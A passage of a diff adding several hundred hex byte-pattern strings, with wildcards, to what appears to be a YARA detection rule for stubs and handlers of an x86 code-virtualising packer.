+		$311 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+		$312 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+		$313 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+		$314 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+		$315 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+		$316 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+		$317 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+		$318 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+		$319 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+		$320 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+		$321 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+		$322 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+		$323 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+		$324 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+		$325 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+		$326 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+		$327 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+		$328 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+		$329 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+		$330 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+		$331 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+		$332 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+		$333 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+		$334 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+		$335 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+		$336 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+		$337 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+		$338 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+		$339 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+		$340 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+		$341 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+		$342 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+		$343 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+		$344 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+		$345 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+		$346 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+		$347 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+		$348 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+		$349 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+		$350 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+		$351 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+		$352 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+		$353 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+		$354 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+		$355 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+		$356 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+		$357 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+		$358 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+		$359 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+		$360 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+		$361 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+		$362 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+		$363 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+		$364 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+		$365 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+		$366 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+		$367 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+		$368 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+		$369 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+		$370 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+		$371 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+		$372 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+		$373 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+		$374 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+		$375 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+		$376 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+		$377 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+		$378 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+		$379 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+		$380 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+		$381 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+		$382 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+		$383 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+		$384 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+		$385 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+		$386 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+		$387 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+		$388 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+		$389 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+		$390 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+		$391 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+		$392 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+		$393 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+		$394 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+		$395 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+		$396 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+		$397 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+		$398 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+		$399 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+		$400 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+		$401 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+		$402 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+		$403 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+		$404 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+		$405 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+		$406 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+		$407 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+		$408 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+		$409 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+		$410 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+		$411 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+		$412 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+		$413 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+		$414 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+		$415 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+		$416 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+		$417 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+		$418 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+		$419 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+		$420 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+		$421 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+		$422 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+		$423 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+		$424 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+		$425 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+		$426 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+		$427 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+		$428 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+		$429 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+		$430 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+		$431 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+		$432 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+		$433 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+		$434 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+		$435 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+		$436 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+		$437 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+		$438 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+		$439 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+		$440 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+		$441 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+		$442 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+		$443 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+		$444 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+		$445 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+		$446 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+		$447 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+		$448 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+		$449 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+		$450 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+		$451 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+		$452 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+		$453 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+		$454 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+		$455 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+		$456 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+		$457 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+		$458 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+		$459 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+		$460 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+		$461 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+		$462 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+		$463 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+		$464 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+		$465 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+		$466 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+		$467 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+		$468 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+		$469 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+		$470 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+		$471 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+		$472 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+		$473 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+		$474 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+		$475 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+		$476 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+		$477 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+		$478 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06}
+		$479 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$480 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$481 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$482 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$483 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$484 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$485 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9}
+		$486 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$487 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$488 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$489 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$490 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$491 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$492 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$493 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$494 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$495 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$496 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$497 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$498 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
